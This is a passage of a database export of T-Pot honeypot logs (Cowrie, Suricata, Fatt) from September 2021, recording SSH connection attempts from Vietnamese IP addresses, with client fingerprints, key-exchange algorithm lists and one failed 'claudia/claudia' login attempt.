"SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33108, "timestamp": "2021-09-20T11:09:52.237878", "@timestamp": "2021-09-20T11:09:52.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25308	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:53.152699+03	2021-09-20 14:15:09.9515+03	{"_id": "HAblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:39512 (192.168.176.2:22) [session: c79cb9bc0850]", "session": "c79cb9bc0850", "@version": "1", "protocol": "ssh", "src_port": 39512, "dest_port": 22, "timestamp": "2021-09-20T11:09:53.152699Z", "@timestamp": "2021-09-20T11:09:53.152Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25309	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:53.247158+03	2021-09-20 14:15:09.9525+03	{"_id": "HQblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45208 (192.168.176.2:22) [session: cd6d8aabb211]", "session": "cd6d8aabb211", "@version": "1", "protocol": "ssh", "src_port": 45208, "dest_port": 22, "timestamp": "2021-09-20T11:09:53.247158Z", "@timestamp": "2021-09-20T11:09:53.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25310	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:52.726899+03	2021-09-20 14:15:09.9535+03	{"_id": "MgblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [claudia/claudia] failed", "session": "a9acc82a5d8e", "@version": "1", "password": "claudia", "username": "claudia", "timestamp": "2021-09-20T11:09:52.726899Z", "@timestamp": "2021-09-20T11:09:52.726Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25311	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:52.883604+03	2021-09-20 14:15:09.9545+03	{"_id": "JQblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "18292ae7252b", "@version": "1", "duration": 2.4269676208496094, "timestamp": "2021-09-20T11:09:52.883604Z", "@timestamp": "2021-09-20T11:09:52.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25312	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:53.016334+03	2021-09-20 14:15:09.955502+03	{"_id": "JgblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2485a52d7755", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:53.016334Z", "@timestamp": "2021-09-20T11:09:53.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25313	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:53.249976+03	2021-09-20 14:15:09.9575+03	{"_id": "JwblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "cd6d8aabb211", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:53.249976Z", "@timestamp": "2021-09-20T11:09:53.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25314	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:53.291803+03	2021-09-20 14:15:09.958501+03	{"_id": "KAblAnwBvYTbRNuE5hoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2485a52d7755", "@version": "1", "timestamp": "2021-09-20T11:09:53.291803Z", "@timestamp": "2021-09-20T11:09:53.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25315	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:53.524558+03	2021-09-20 14:15:09.95951+03	{"_id": "OAblAnwBvYTbRNuE6Bpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2158699619603332, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45208, "dest_port": 22, "timestamp": "2021-09-20T11:09:53.524558Z", "@timestamp": "2021-09-20T11:09:53.524Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25359	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:46.88369+03	2021-09-20 14:15:10.0245+03	{"_id": "iQblAnwBvYTbRNuEzhmy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2f9f644411e1", "@version": "1", "duration": 2.7498254776000977, "timestamp": "2021-09-20T11:09:46.883690Z", "@timestamp": "2021-09-20T11:09:46.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25316	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:09:53.392658+03	2021-09-20 14:15:09.961499+03	{"_id": "PAblAnwBvYTbRNuE6Rp6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39512, "dest_port": 22, "timestamp": "2021-09-20T11:09:53.392658", "@timestamp": "2021-09-20T11:09:53.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25317	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:49.629836+03	2021-09-20 14:15:09.962498+03	{"_id": "vAblAnwBvYTbRNuE2BnE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 510329825864142, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60376, "dest_port": 22, "timestamp": "2021-09-20T11:09:49.629836Z", "@timestamp": "2021-09-20T11:09:49.629Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25318	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:49.282993+03	2021-09-20 14:15:09.96447+03	{"_id": "uwblAnwBvYTbRNuE2BnE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2217259350896978, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57068, "dest_port": 22, "timestamp": "2021-09-20T11:09:49.282993Z", "@timestamp": "2021-09-20T11:09:49.282Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25319	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:09:49.283103+03	2021-09-20 14:15:09.9665+03	{"_id": "wgblAnwBvYTbRNuE2RnX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57068, "dest_port": 22, "timestamp": "2021-09-20T11:09:49.283103", "@timestamp": "2021-09-20T11:09:49.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
